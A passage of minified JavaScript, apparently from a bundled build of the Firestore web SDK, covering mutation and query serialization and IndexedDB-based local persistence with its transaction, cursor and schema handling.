Jf(t){return nh(t.length>4&&"documents"===t.get(4)),t.popFirst(5)}function tg(t,e,n){return{name:$f(t,e),fields:n.value.mapValue.fields}}function eg(t,e,n){var r=Qf(t,e.name),i=qf(e.updateTime),o=new qh({mapValue:{fields:e.fields}}),s=Kh.newFoundDocument(r,i,o);return n&&s.setHasCommittedMutations(),n?s.setHasCommittedMutations():s}function ng(t,e){var n,r;if(e instanceof nf)n={update:tg(t,e.key,e.value)};else if(e instanceof uf)n={delete:$f(t,e.key)};else if(e instanceof rf)n={update:tg(t,e.key,e.data),updateMask:mg(e.fieldMask)};else{if(!(e instanceof df))return eh();n={verify:$f(t,e.key)}}return e.fieldTransforms.length>0&&(n.updateTransforms=e.fieldTransforms.map(function(t){return function(t,e){var n=e.transform;if(n instanceof Fp)return{fieldPath:e.field.canonicalString(),setToServerValue:"REQUEST_TIME"};if(n instanceof Vp)return{fieldPath:e.field.canonicalString(),appendMissingElements:{values:n.elements}};if(n instanceof Hp)return{fieldPath:e.field.canonicalString(),removeAllFromArray:{values:n.elements}};if(n instanceof Gp)return{fieldPath:e.field.canonicalString(),increment:n.A};throw eh()}(0,t)})),e.precondition.isNone||(n.currentDocument=void 0!==(r=e.precondition).updateTime?{updateTime:Uf(t,r.updateTime)}:void 0!==r.exists?{exists:r.exists}:eh()),n}function rg(t,e){var n,r=e.currentDocument?void 0!==(n=e.currentDocument).updateTime?$p.updateTime(qf(n.updateTime)):void 0!==n.exists?$p.exists(n.exists):$p.none():$p.none(),i=e.updateTransforms?e.updateTransforms.map(function(e){return function(t,e){var n=null;"setToServerValue"in e?(nh("REQUEST_TIME"===e.setToServerValue),n=new Fp):"appendMissingElements"in e?n=new Vp(e.appendMissingElements.values||[]):"removeAllFromArray"in e?n=new Hp(e.removeAllFromArray.values||[]):"increment"in e?n=new Gp(t,e.increment):eh();var r=yh.fromServerFormat(e.fieldPath);return new Wp(r,n)}(t,e)}):[];if(e.update){var o=Qf(t,e.update.name),s=new qh({mapValue:{fields:e.update.fields}});if(e.updateMask){var a=function(t){return new bh((t.fieldPaths||[]).map(function(t){return yh.fromServerFormat(t)}))}(e.updateMask);return new rf(o,s,a,r,i)}return new nf(o,s,r,i)}if(e.delete){var c=Qf(t,e.delete);return new uf(c,r)}if(e.verify){var l=Qf(t,e.verify);return new df(l,r)}return eh()}function ig(t,e){return{documents:[Xf(t,e.path)]}}function og(t,e){var n={structuredQuery:{}},r=e.path;null!==e.collectionGroup?(n.parent=Xf(t,r),n.structuredQuery.from=[{collectionId:e.collectionGroup,allDescendants:!0}]):(n.parent=Xf(t,r.popLast()),n.structuredQuery.from=[{collectionId:r.lastSegment()}]);var i=function(t){if(0!==t.length){var e=t.map(function(t){return function(t){if("=="===t.op){if(zh(t.value))return{unaryFilter:{field:hg(t.field),op:"IS_NAN"}};if(Hh(t.value))return{unaryFilter:{field:hg(t.field),op:"IS_NULL"}}}else if("!="===t.op){if(zh(t.value))return{unaryFilter:{field:hg(t.field),op:"IS_NOT_NAN"}};if(Hh(t.value))return{unaryFilter:{field:hg(t.field),op:"IS_NOT_NULL"}}}return{fieldFilter:{field:hg(t.field),op:dg(t.op),value:t.value}}}(t)});return 1===e.length?e[0]:{compositeFilter:{op:"AND",filters:e}}}}(e.filters);i&&(n.structuredQuery.where=i);var o=function(t){if(0!==t.length)return t.map(function(t){return{field:hg((e=t).field),direction:ug(e.dir)};var e})}(e.orderBy);o&&(n.structuredQuery.orderBy=o);var s,a=(s=e.limit,t.I||Oh(s)?s:{value:s});return null!==a&&(n.structuredQuery.limit=a),e.startAt&&(n.structuredQuery.startAt=cg(e.startAt)),e.endAt&&(n.structuredQuery.endAt=cg(e.endAt)),n}function sg(t){var e=Zf(t.parent),n=t.structuredQuery,r=n.from?n.from.length:0,i=null;if(r>0){nh(1===r);var o=n.from[0];o.allDescendants?i=o.collectionId:e=e.child(o.collectionId)}var s=[];n.where&&(s=ag(n.where));var a=[];n.orderBy&&(a=n.orderBy.map(function(t){return new up(pg((e=t).field),function(t){switch(t){case"ASCENDING":return"asc";case"DESCENDING":return"desc";default:return}}(e.direction));var e}));var c,l,u=null;n.limit&&(u=Oh(l="object"==typeof(c=n.limit)?c.value:c)?null:l);var d=null;n.startAt&&(d=lg(n.startAt));var h=null;return n.endAt&&(h=lg(n.endAt)),gp(e,i,a,s,u,"F",d,h)}function ag(t){return t?void 0!==t.unaryFilter?[gg(t)]:void 0!==t.fieldFilter?[fg(t)]:void 0!==t.compositeFilter?t.compositeFilter.filters.map(function(t){return ag(t)}).reduce(function(t,e){return t.concat(e)}):eh():[]}function cg(t){return{before:t.before,values:t.position}}function lg(t){return new cp(t.values||[],!!t.before)}function ug(t){return Vf[t]}function dg(t){return Bf[t]}function hg(t){return{fieldPath:t.canonicalString()}}function pg(t){return yh.fromServerFormat(t.fieldPath)}function fg(t){return Jh.create(pg(t.fieldFilter.field),function(t){switch(t){case"EQUAL":return"==";case"NOT_EQUAL":return"!=";case"GREATER_THAN":return">";case"GREATER_THAN_OR_EQUAL":return">=";case"LESS_THAN":return"<";case"LESS_THAN_OR_EQUAL":return"<=";case"ARRAY_CONTAINS":return"array-contains";case"IN":return"in";case"NOT_IN":return"not-in";case"ARRAY_CONTAINS_ANY":return"array-contains-any";case"OPERATOR_UNSPECIFIED":default:return eh()}}(t.fieldFilter.op),t.fieldFilter.value)}function gg(t){switch(t.unaryFilter.op){case"IS_NAN":var e=pg(t.unaryFilter.field);return Jh.create(e,"==",{doubleValue:NaN});case"IS_NULL":var n=pg(t.unaryFilter.field);return Jh.create(n,"==",{nullValue:"NULL_VALUE"});case"IS_NOT_NAN":var r=pg(t.unaryFilter.field);return Jh.create(r,"!=",{doubleValue:NaN});case"IS_NOT_NULL":var i=pg(t.unaryFilter.field);return Jh.create(i,"!=",{nullValue:"NULL_VALUE"});case"OPERATOR_UNSPECIFIED":default:return eh()}}function mg(t){var e=[];return t.fields.forEach(function(t){return e.push(t.canonicalString())}),{fieldPaths:e}}function yg(t){return t.length>=4&&"projects"===t.get(0)&&"databases"===t.get(2)}function bg(t){for(var e="",n=0;n<t.length;n++)e.length>0&&(e=_g(e)),e=vg(t.get(n),e);return _g(e)}function vg(t,e){for(var n=e,r=t.length,i=0;i<r;i++){var o=t.charAt(i);switch(o){case"\0":n+="\x01\x10";break;case"\x01":n+="\x01\x11";break;default:n+=o}}return n}function _g(t){return t+"\x01\x01"}function Cg(t){var e=t.length;if(nh(e>=2),2===e)return nh("\x01"===t.charAt(0)&&"\x01"===t.charAt(1)),gh.emptyPath();for(var n=e-2,r=[],i="",o=0;o<e;){var s=t.indexOf("\x01",o);switch((s<0||s>n)&&eh(),t.charAt(s+1)){case"\x01":var a=t.substring(o,s),c=void 0;0===i.length?c=a:(c=i+=a,i=""),r.push(c);break;case"\x10":i+=t.substring(o,s),i+="\0";break;case"\x11":i+=t.substring(o,s+1);break;default:eh()}o=s+2}return new gh(r)}var wg=function(t,e){this.seconds=t,this.nanoseconds=e},xg=function(t,e,n){this.ownerId=t,this.allowTabSynchronization=e,this.leaseTimestampMs=n};xg.store="owner",xg.key="owner";var Pg=function(t,e,n){this.userId=t,this.lastAcknowledgedBatchId=e,this.lastStreamToken=n};Pg.store="mutationQueues",Pg.keyPath="userId";var Sg=function(t,e,n,r,i){this.userId=t,this.batchId=e,this.localWriteTimeMs=n,this.baseMutations=r,this.mutations=i};Sg.store="mutations",Sg.keyPath="batchId",Sg.userMutationsIndex="userMutationsIndex",Sg.userMutationsKeyPath=["userId","batchId"];var Mg=function(){function t(){}return t.prefixForUser=function(t){return[t]},t.prefixForPath=function(t,e){return[t,bg(e)]},t.key=function(t,e,n){return[t,bg(e),n]},t}();Mg.store="documentMutations",Mg.PLACEHOLDER=new Mg;var Og=function(t,e){this.path=t,this.readTime=e},Eg=function(t,e){this.path=t,this.version=e},Tg=function(t,e,n,r,i,o){this.unknownDocument=t,this.noDocument=e,this.document=n,this.hasCommittedMutations=r,this.readTime=i,this.parentPath=o};Tg.store="remoteDocuments",Tg.readTimeIndex="readTimeIndex",Tg.readTimeIndexPath="readTime",Tg.collectionReadTimeIndex="collectionReadTimeIndex",Tg.collectionReadTimeIndexPath=["parentPath","readTime"];var Ig=function(t){this.byteSize=t};Ig.store="remoteDocumentGlobal",Ig.key="remoteDocumentGlobalKey";var kg=function(t,e,n,r,i,o,s){this.targetId=t,this.canonicalId=e,this.readTime=n,this.resumeToken=r,this.lastListenSequenceNumber=i,this.lastLimboFreeSnapshotVersion=o,this.query=s};kg.store="targets",kg.keyPath="targetId",kg.queryTargetsIndexName="queryTargetsIndex",kg.queryTargetsKeyPath=["canonicalId","targetId"];var Ag=function(t,e,n){this.targetId=t,this.path=e,this.sequenceNumber=n};Ag.store="targetDocuments",Ag.keyPath=["targetId","path"],Ag.documentTargetsIndex="documentTargetsIndex",Ag.documentTargetsKeyPath=["path","targetId"];var Dg=function(t,e,n,r){this.highestTargetId=t,this.highestListenSequenceNumber=e,this.lastRemoteSnapshotVersion=n,this.targetCount=r};Dg.key="targetGlobalKey",Dg.store="targetGlobal";var Ng=function(t,e){this.collectionId=t,this.parent=e};Ng.store="collectionParents",Ng.keyPath=["collectionId","parent"];var Rg=function(t,e,n,r){this.clientId=t,this.updateTimeMs=e,this.networkEnabled=n,this.inForeground=r};Rg.store="clientMetadata",Rg.keyPath="clientId";var Lg=function(t,e,n){this.bundleId=t,this.createTime=e,this.version=n};Lg.store="bundles",Lg.keyPath="bundleId";var jg=function(t,e,n){this.name=t,this.readTime=e,this.bundledQuery=n};jg.store="namedQueries",jg.keyPath="name";var Fg=(0,Zo.ev)((0,Zo.ev)([],(0,Zo.ev)((0,Zo.ev)([],(0,Zo.ev)((0,Zo.ev)([],(0,Zo.ev)((0,Zo.ev)([],[Pg.store,Sg.store,Mg.store,Tg.store,kg.store,xg.store,Dg.store,Ag.store]),[Rg.store])),[Ig.store])),[Ng.store])),[Lg.store,jg.store]),Vg="The current tab is not in the required state to perform this operation. It might be necessary to refresh the browser tab.",Bg=function(){function t(){this.onCommittedListeners=[]}return t.prototype.addOnCommittedListener=function(t){this.onCommittedListeners.push(t)},t.prototype.raiseOnCommittedEvent=function(){this.onCommittedListeners.forEach(function(t){return t()})},t}(),Hg=function(){var t=this;this.promise=new Promise(function(e,n){t.resolve=e,t.reject=n})},zg=function(){function t(t){var e=this;this.nextCallback=null,this.catchCallback=null,this.result=void 0,this.error=void 0,this.isDone=!1,this.callbackAttached=!1,t(function(t){e.isDone=!0,e.result=t,e.nextCallback&&e.nextCallback(t)},function(t){e.isDone=!0,e.error=t,e.catchCallback&&e.catchCallback(t)})}return t.prototype.catch=function(t){return this.next(void 0,t)},t.prototype.next=function(e,n){var r=this;return this.callbackAttached&&eh(),this.callbackAttached=!0,this.isDone?this.error?this.wrapFailure(n,this.error):this.wrapSuccess(e,this.result):new t(function(t,i){r.nextCallback=function(n){r.wrapSuccess(e,n).next(t,i)},r.catchCallback=function(e){r.wrapFailure(n,e).next(t,i)}})},t.prototype.toPromise=function(){var t=this;return new Promise(function(e,n){t.next(e,n)})},t.prototype.wrapUserFunction=function(e){try{var n=e();return n instanceof t?n:t.resolve(n)}catch(r){return t.reject(r)}},t.prototype.wrapSuccess=function(e,n){return e?this.wrapUserFunction(function(){return e(n)}):t.resolve(n)},t.prototype.wrapFailure=function(e,n){return e?this.wrapUserFunction(function(){return e(n)}):t.reject(n)},t.resolve=function(e){return new t(function(t,n){t(e)})},t.reject=function(e){return new t(function(t,n){n(e)})},t.waitFor=function(e){return new t(function(t,n){var r=0,i=0,o=!1;e.forEach(function(e){++r,e.next(function(){++i,o&&i===r&&t()},function(t){return n(t)})}),o=!0,i===r&&t()})},t.or=function(e){for(var n=t.resolve(!1),r=function(e){n=n.next(function(n){return n?t.resolve(n):e()})},i=0,o=e;i<o.length;i++)r(o[i]);return n},t.forEach=function(t,e){var n=this,r=[];return t.forEach(function(t,i){r.push(e.call(n,t,i))}),this.waitFor(r)},t}(),Gg=function(){function t(t,e){var n=this;this.action=t,this.transaction=e,this.aborted=!1,this.ft=new Hg,this.transaction.oncomplete=function(){n.ft.resolve()},this.transaction.onabort=function(){e.error?n.ft.reject(new Wg(t,e.error)):n.ft.resolve()},this.transaction.onerror=function(e){var r=Zg(e.target.error);n.ft.reject(new Wg(t,r))}}return t.open=function(e,n,r,i){try{return new t(n,e.transaction(i,r))}catch(o){throw new Wg(n,o)}},Object.defineProperty(t.prototype,"dt",{get:function(){return this.ft.promise},enumerable:!1,configurable:!0}),t.prototype.abort=function(t){t&&this.ft.reject(t),this.aborted||(Zd("SimpleDb","Aborting transaction:",t?t.message:"Client-initiated abort"),this.aborted=!0,this.transaction.abort())},t.prototype.store=function(t){var e=this.transaction.objectStore(t);return new $g(e)},t}(),Ug=function(){function t(e,n,r){this.name=e,this.version=n,this.wt=r,12.2===t._t((0,Yo.z$)())&&Yd("Firestore persistence suffers from a bug in iOS 12.2 Safari that may cause your app to stop working. See https://stackoverflow.com/q/56496296/110915 for details and a potential workaround.")}return t.delete=function(t){return Zd("SimpleDb","Removing database:",t),Qg(window.indexedDB.deleteDatabase(t)).toPromise()},t.yt=function(){if("undefined"==typeof indexedDB)return!1;if(t.gt())return!0;var e=(0,Yo.z$)(),n=t._t(e),r=0<n&&n<10,i=t.Et(e),o=0<i&&i<4.5;return!(e.indexOf("MSIE ")>0||e.indexOf("Trident/")>0||e.indexOf("Edge/")>0||r||o)},t.gt=function(){var t;return"undefined"!=typeof process&&"YES"===(null===(t=process.env)||void 0===t?void 0:t.Tt)},t.It=function(t,e){return t.store(e)},t._t=function(t){var e=t.match(/i(?:phone|pad|pod) os ([\d_]+)/i),n=e?e[1].split("_").slice(0,2).join("."):"-1";return Number(n)},t.Et=function(t){var e=t.match(/Android ([\d.]+)/i),n=e?e[1].split(".").slice(0,2).join("."):"-1";return Number(n)},t.prototype.At=function(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e,n=this;return(0,Zo.Jh)(this,function(r){switch(r.label){case 0:return this.db?[3,2]:(Zd("SimpleDb","Opening database:",this.name),e=this,[4,new Promise(function(e,r){var i=indexedDB.open(n.name,n.version);i.onsuccess=function(t){e(t.target.result)},i.onblocked=function(){r(new Wg(t,"Cannot upgrade IndexedDB schema while another tab is open. Close all tabs that access Firestore and reload this page to proceed."))},i.onerror=function(e){var n=e.target.error;r("VersionError"===n.name?new $d(Kd.FAILED_PRECONDITION,"A newer version of the Firestore SDK was previously used and so the persisted data is not compatible with the version of the SDK you are now using. The SDK will operate with persistence disabled. If you need persistence, please re-upgrade to a newer version of the SDK or else clear the persisted IndexedDB data for your app to start fresh."):new Wg(t,n))},i.onupgradeneeded=function(t){Zd("SimpleDb",'Database "'+n.name+'" requires upgrade from version:',t.oldVersion),n.wt.Rt(t.target.result,i.transaction,t.oldVersion,n.version).next(function(){Zd("SimpleDb","Database upgrade to version "+n.version+" complete")})}})]);case 1:e.db=r.sent(),r.label=2;case 2:return[2,(this.bt&&(this.db.onversionchange=function(t){return n.bt(t)}),this.db)]}})})},t.prototype.vt=function(t){this.bt=t,this.db&&(this.db.onversionchange=function(e){return t(e)})},t.prototype.runTransaction=function(t,e,n,r){return(0,Zo.mG)(this,void 0,void 0,function(){var i,o,s,a,c;return(0,Zo.Jh)(this,function(l){switch(l.label){case 0:i="readonly"===e,o=0,s=function(){var e,s,c,l,u;return(0,Zo.Jh)(this,function(d){switch(d.label){case 0:++o,d.label=1;case 1:return d.trys.push([1,4,,5]),[4,a.At(t)];case 2:return a.db=d.sent(),e=Gg.open(a.db,t,i?"readonly":"readwrite",n),s=r(e).catch(function(t){return e.abort(t),zg.reject(t)}).toPromise(),c={},s.catch(function(){}),[4,e.dt];case 3:return[2,(c.value=(d.sent(),s),c)];case 4:return Zd("SimpleDb","Transaction failed with error:",(l=d.sent()).message,"Retrying:",u="FirebaseError"!==l.name&&o<3),a.close(),u?[3,5]:[2,{value:Promise.reject(l)}];case 5:return[2]}})},a=this,l.label=1;case 1:return[5,s()];case 2:if("object"==typeof(c=l.sent()))return[2,c.value];l.label=3;case 3:return[3,1];case 4:return[2]}})})},t.prototype.close=function(){this.db&&this.db.close(),this.db=void 0},t}(),qg=function(){function t(t){this.Pt=t,this.Vt=!1,this.St=null}return Object.defineProperty(t.prototype,"isDone",{get:function(){return this.Vt},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"Dt",{get:function(){return this.St},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"cursor",{set:function(t){this.Pt=t},enumerable:!1,configurable:!0}),t.prototype.done=function(){this.Vt=!0},t.prototype.Ct=function(t){this.St=t},t.prototype.delete=function(){return Qg(this.Pt.delete())},t}(),Wg=function(t){function e(e,n){var r=this;return(r=t.call(this,Kd.UNAVAILABLE,"IndexedDB transaction '"+e+"' failed: "+n)||this).name="IndexedDbTransactionError",r}return(0,Zo.ZT)(e,t),e}($d);function Kg(t){return"IndexedDbTransactionError"===t.name}var $g=function(){function t(t){this.store=t}return t.prototype.put=function(t,e){var n;return void 0!==e?(Zd("SimpleDb","PUT",this.store.name,t,e),n=this.store.put(e,t)):(Zd("SimpleDb","PUT",this.store.name,"<auto-key>",t),n=this.store.put(t)),Qg(n)},t.prototype.add=function(t){return Zd("SimpleDb","ADD",this.store.name,t,t),Qg(this.store.add(t))},t.prototype.get=function(t){var e=this;return Qg(this.store.get(t)).next(function(n){return void 0===n&&(n=null),Zd("SimpleDb","GET",e.store.name,t,n),n})},t.prototype.delete=function(t){return Zd("SimpleDb","DELETE",this.store.name,t),Qg(this.store.delete(t))},t.prototype.count=function(){return Zd("SimpleDb","COUNT",this.store.name),Qg(this.store.count())},t.prototype.Nt=function(t,e){var n=this.cursor(this.options(t,e)),r=[];return this.xt(n,function(t,e){r.push(e)}).next(function(){return r})},t.prototype.Ft=function(t,e){Zd("SimpleDb","DELETE ALL",this.store.name);var n=this.options(t,e);n.kt=!1;var r=this.cursor(n);return this.xt(r,function(t,e,n){return n.delete()})},t.prototype.$t=function(t,e){var n;e?n=t:(n={},e=t);var r=this.cursor(n);return this.xt(r,e)},t.prototype.Ot=function(t){var e=this.cursor({});return new zg(function(n,r){e.onerror=function(t){var e=Zg(t.target.error);r(e)},e.onsuccess=function(e){var r=e.target.result;r?t(r.primaryKey,r.value).next(function(t){t?r.continue():n()}):n()}})},t.prototype.xt=function(t,e){var n=[];return new zg(function(r,i){t.onerror=function(t){i(t.target.error)},t.onsuccess=function(t){var i=t.target.result;if(i){var o=new qg(i),s=e(i.primaryKey,i.value,o);if(s instanceof zg){var a=s.catch(function(t){return o.done(),zg.reject(t)});n.push(a)}o.isDone?r():null===o.Dt?i.continue():i.continue(o.Dt)}else r()}}).next(function(){return zg.waitFor(n)})},t.prototype.options=function(t,e){var n;return void 0!==t&&("string"==typeof t?n=t:e=t),{index:n,range:e}},t.prototype.cursor=function(t){var e="next";if(t.reverse&&(e="prev"),t.index){var n=this.store.index(t.index);return t.kt?n.openKeyCursor(t.range,e):n.openCursor(t.range,e)}return this.store.openCursor(t.range,e)},t}();function Qg(t){return new zg(function(e,n){t.onsuccess=function(t){e(t.target.result)},t.onerror=function(t){var e=Zg(t.target.error);n(e)}})}var Xg=!1;function Zg(t){var e=Ug._t((0,Yo.z$)());if(e>=12.2&&e<13){var n="An internal error was encountered in the Indexed Database server";if(t.message.indexOf(n)>=0){var r=new $d("internal","IOS_INDEXEDDB_BUG1: IndexedDb has thrown '"+n+"'. This is likely due to an unavoidable bug in iOS. See https://stackoverflow.com/q/56496296/110915 for details and a potential workaround.");return Xg||(Xg=!0,setTimeout(function(){throw r},0)),r}}return t}var Yg=function(t){function e(e,n){var r=this;return(r=t.call(this)||this).Mt=e,r.currentSequenceNumber=n,r}return(0,Zo.ZT)(e,t),e}(Bg);function Jg(t,e){var n=rh(t);return Ug.It(n.Mt,e)}var tm=function(){function t(t,e,n,r){this.batchId=t,this.localWriteTime=e,this.baseMutations=n,this.mutations=r}return t.prototype.applyToRemoteDocument=function(t,e){for(var n=e.mutationResults,r=0;r<this.mutations.length;r++){var i=this.mutations[r];i.key.isEqual(t.key)&&Zp(i,t,n[r])}},t.prototype.applyToLocalView=function(t){for(var e=0,n=this.baseMutations;e<n.length;e++)(o=n[e]).key.isEqual(t.key)&&Yp(o,t,this.localWriteTime);for(var r=0,i=this.mutations;r<i.length;r++){var o;(o=i[r]).key.isEqual(t.key)&&Yp(o,t,this.localWriteTime)}},t.prototype.applyToLocalDocumentSet=function(t){var e=this;this.mutations.forEach(function(n){var r=t.get(n.key),i=r;e.applyToLocalView(i),r.isValidDocument()||i.convertToNoDocument(uh.min())})},t.prototype.keys=function(){return this.mutations.reduce(function(t,e){return t.add(e.key)},Of())},t.prototype.isEqual=function(t){return this.batchId===t.batchId&&ah(this.mutations,t.mutations,function(t,e){return tf(t,e)})&&ah(this.baseMutations,t.baseMutations,function(t,e){return tf(t,e)})},t}(),em=function(){function t(t,e,n,r){this.batch=t,this.commitVersion=e,this.mutationResults=n,this.docVersions=r}return t.from=function(e,n,r){nh(e.mutations.length===r.length);for(var i=Sf(),o=e.mutations,s=0;s<o.length;s++)i=i.insert(o[s].key,r[s].version);return new t(e,n,r,i)},t}(),nm=function(){function t(t,e,n,r,i,o,s){void 0===i&&(i=uh.min()),void 0===o&&(o=uh.min()),void 0===s&&(s=vh.EMPTY_BYTE_STRING),this.target=t,this.targetId=e,this.purpose=n,this.sequenceNumber=r,this.snapshotVersion=i,this.lastLimboFreeSnapshotVersion=o,this.resumeToken=s}return t.prototype.withSequenceNumber=function(e){return new t(this.target,this.targetId,this.purpose,e,this.snapshotVersion,this.lastLimboFreeSnapshotVersion,this.resumeToken)},t.prototype.withResumeToken=function(e,n){return new t(this.target,this.targetId,this.purpose,this.sequenceNumber,n,this.lastLimboFreeSnapshotVersion,e)},t.prototype.withLastLimboFreeSnapshotVersion=function(e){return new t(this.target,this.targetId,this.purpose,this.sequenceNumber,this.snapshotVersion,e,this.resumeToken)},t}(),rm=function(t){this.Lt=t};function im(t,e){if(e.document)return eg(t.Lt,e.document,!!e.hasCommittedMutations);if(e.noDocument){var n=Ih.fromSegments(e.noDocument.path),r=lm(e.noDocument.readTime),i=Kh.newNoDocument(n,r);return e.hasCommittedMutations?i.setHasCommittedMutations():i}if(e.unknownDocument){var o=Ih.fromSegments(e.unknownDocument.path);return r=lm(e.unknownDocument.version),Kh.newUnknownDocument(o,r)}return eh()}function om(t,e,n){var r,i,o=sm(n),s=e.key.path.popLast().toArray();if(e.isFoundDocument()){var a={name:$f(r=t.Lt,(i=e).key),fields:i.data.value.mapValue.fields,updateTime:zf(r,i.version.toTimestamp())},c=e.hasCommittedMutations;return new Tg(null,null,a,c,o,s)}if(e.isNoDocument()){var l=e.key.path.toArray(),u=cm(e.version);return c=e.hasCommittedMutations,new Tg(null,new Og(l,u),null,c,o,s)}if(e.isUnknownDocument()){var d=e.key.path.toArray(),h=cm(e.version);return new Tg(new Eg(d,h),null,null,!0,o,s)}return eh()}function sm(t){var e=t.toTimestamp();return[e.seconds,e.nanoseconds]}function am(t){var e=new lh(t[0],t[1]);return uh.fromTimestamp(e)}function cm(t){var e=t.toTimestamp();return new wg(e.seconds,e.nanoseconds)}function lm(t){var e=new lh(t.seconds,t.nanoseconds);return uh.fromTimestamp(e)}function um(t,e){for(var n=(e.baseMutations||[]).map(function(e){return rg(t.Lt,e)}),r=0;r<e.mutations.length-1;++r)r+1<e.mutations.length&&void 0!==e.mutations[r+1].transform&&(e.mutations[r].updateTransforms=e.mutations[r+1].transform.fieldTransforms,e.mutations.splice(r+1,1),++r);var i=e.mutations.map(function(e){return rg(t.Lt,e)}),o=lh.fromMillis(e.localWriteTimeMs);return new tm(e.batchId,o,n,i)}function dm(t){var e,n,r=lm(t.readTime),i=void 0!==t.lastLimboFreeSnapshotVersion?lm(t.lastLimboFreeSnapshotVersion):uh.min();return void 0!==t.query.documents?(nh(1===(n=t.query).documents.length),e=xp(mp(Zf(n.documents[0])))):e=xp(sg(t.query)),new nm(e,t.targetId,0,t.lastListenSequenceNumber,r,i,vh.fromBase64String(t.resumeToken))}function hm(t,e){var n,r=cm(e.snapshotVersion),i=cm(e.lastLimboFreeSnapshotVersion);n=Yh(e.target)?ig(t.Lt,e.target):og(t.Lt,e.target);var o=e.resumeToken.toBase64();return new kg(e.targetId,Xh(e.target),r,o,e.sequenceNumber,i,n)}function pm(t){var e=sg({parent:t.parent,structuredQuery:t.structuredQuery});return"LAST"===t.limitType?Pp(e,e.limit,"L"):e}var fm=function(){function t(){}return t.prototype.getBundleMetadata=function(t,e){return gm(t).get(e).next(function(t){if(t)return{id:(e=t).bundleId,createTime:lm(e.createTime),version:e.version};var e})},t.prototype.saveBundleMetadata=function(t,e){return gm(t).put({bundleId:(n=e).id,createTime:cm(qf(n.createTime)),version:n.version});var n},t.prototype.getNamedQuery=function(t,e){return mm(t).get(e).next(function(t){if(t)return{name:(e=t).name,query:pm(e.bundledQuery),readTime:lm(e.readTime)};var e})},t.prototype.saveNamedQuery=function(t,e){return mm(t).put({name:(n=e).name,readTime:cm(qf(n.readTime)),bundledQuery:n.bundledQuery});var n},t}();function gm(t){return Jg(t,Lg.store)}function mm(t){return Jg(t,jg.store)}var ym=function(){function t(){this.Bt=new bm}return t.prototype.addToCollectionParentIndex=function(t,e){return this.Bt.add(e),zg.resolve()},t.prototype.getCollectionParents=function(t,e){return zg.resolve(this.Bt.getEntries(e))},t}(),bm=function(){function t(){this.index={}}return t.prototype.add=function(t){var e=t.lastSegment(),n=t.popLast(),r=this.index[e]||new bf(gh.comparator),i=!r.has(n);return this.index[e]=r.add(n),i},t.prototype.has=function(t){var e=t.lastSegment(),n=t.popLast(),r=this.index[e];return r&&r.has(n)},t.prototype.getEntries=function(t){return(this.index[t]||new bf(gh.comparator)).toArray()},t}(),vm=function(){function t(){this.qt=new bm}return t.prototype.addToCollectionParentIndex=function(t,e){var n=this;if(!this.qt.has(e)){var r=e.lastSegment(),i=e.popLast();t.addOnCommittedListener(function(){n.qt.add(e)});var o={collectionId:r,parent:bg(i)};return _m(t).put(o)}return zg.resolve()},t.prototype.getCollectionParents=function(t,e){var n=[],r=IDBKeyRange.bound([e,""],[ch(e),""],!1,!0);return _m(t).Nt(r).next(function(t){for(var r=0,i=t;r<i.length;r++){var o=i[r];if(o.collectionId!==e)break;n.push(Cg(o.parent))}return n})},t}();function _m(t){return Jg(t,Ng.store)}var Cm={didRun:!1,sequenceNumbersCollected:0,targetsRemoved:0,documentsRemoved:0},wm=function(){function t(t,e,n){this.cacheSizeCollectionThreshold=t,this.percentileToCollect=e,this.maximumSequenceNumbersToCollect=n}return t.withCacheSize=function(e){return new t(e,t.DEFAULT_COLLECTION_PERCENTILE,t.DEFAULT_MAX_SEQUENCE_NUMBERS_TO_COLLECT)},t}();function xm(t,e,n){var r=t.store(Sg.store),i=t.store(Mg.store),o=[],s=IDBKeyRange.only(n.batchId),a=0,c=r.$t({range:s},function(t,e,n){return a++,n.delete()});o.push(c.next(function(){nh(1===a)}));for(var l=[],u=0,d=n.mutations;u<d.length;u++){var h=d[u],p=Mg.key(e,h.key.path,n.batchId);o.push(i.delete(p)),l.push(h.key)}return zg.waitFor(o).next(function(){return l})}function Pm(t){if(!t)return 0;var e;if(t.document)e=t.document;else if(t.unknownDocument)e=t.unknownDocument;else{if(!t.noDocument)throw eh();e=t.noDocument}return JSON.stringify(e).length}wm.DEFAULT_COLLECTION_PERCENTILE=10,wm.DEFAULT_MAX_SEQUENCE_NUMBERS_TO_COLLECT=1e3,wm.DEFAULT=new wm(41943040,wm.DEFAULT_COLLECTION_PERCENTILE,wm.DEFAULT_MAX_SEQUENCE_NUMBERS_TO_COLLECT),wm.DISABLED=new wm(-1,0,0);var Sm=function(){function t(t,e,n,r){this.userId=t,this.R=e,this.Ut=n,this.referenceDelegate=r,this.Qt={}}return t.Kt=function(e,n,r,i){return nh(""!==e.uid),new t(e.isAuthenticated()?e.uid:"",n,r,i)},t.prototype.checkEmpty=function(t){var e=!0,n=IDBKeyRange.bound([this.userId,Number.NEGATIVE_INFINITY],[this.userId,Number.POSITIVE_INFINITY]);return Om(t).$t({index:Sg.userMutationsIndex,range:n},function(t,n,r){e=!1,r.done()}).next(function(){return e})},t.prototype.addMutationBatch=function(t,e,n,r){var i=this,o=Em(t),s=Om(t);return s.add({}).next(function(a){nh("number"==typeof a);for(var c=new tm(a,e,n,r),l=function(t,e,n){var r=n.baseMutations.map(function(e){return ng(t.Lt,e)}),i=n.mutations.map(function(e){return ng(t.Lt,e)});return new Sg(e,n.batchId,n.localWriteTime.toMillis(),r,i)}(i.R,i.userId,c),u=[],d=new bf(function(t,e){return sh(t.canonicalString(),e.canonicalString())}),h=0,p=r;h<p.length;h++){var f=p[h],g=Mg.key(i.userId,f.key.path,a);d=d.add(f.key.path.popLast()),u.push(s.put(l)),u.push(o.put(g,Mg.PLACEHOLDER))}return d.forEach(function(e){u.push(i.Ut.addToCollectionParentIndex(t,e))}),t.addOnCommittedListener(function(){i.Qt[a]=c.keys()}),zg.waitFor(u).next(function(){return c})})},t.prototype.lookupMutationBatch=function(t,e){var n=this;return Om(t).get(e).next(function(t){return t?(nh(t.userId===n.userId),um(n.R,t)):null})},t.prototype.jt=function(t,e){var n=this;return this.Qt[e]?zg.resolve(this.Qt[e]):this.lookupMutationBatch(t,e).next(function(t){if(t){var r=t.keys();return n.Qt[e]=r,r}return null})},t.prototype.getNextMutationBatchAfterBatchId=function(t,e){var n=this,r=e+1,i=IDBKeyRange.lowerBound([this.userId,r]),o=null;return 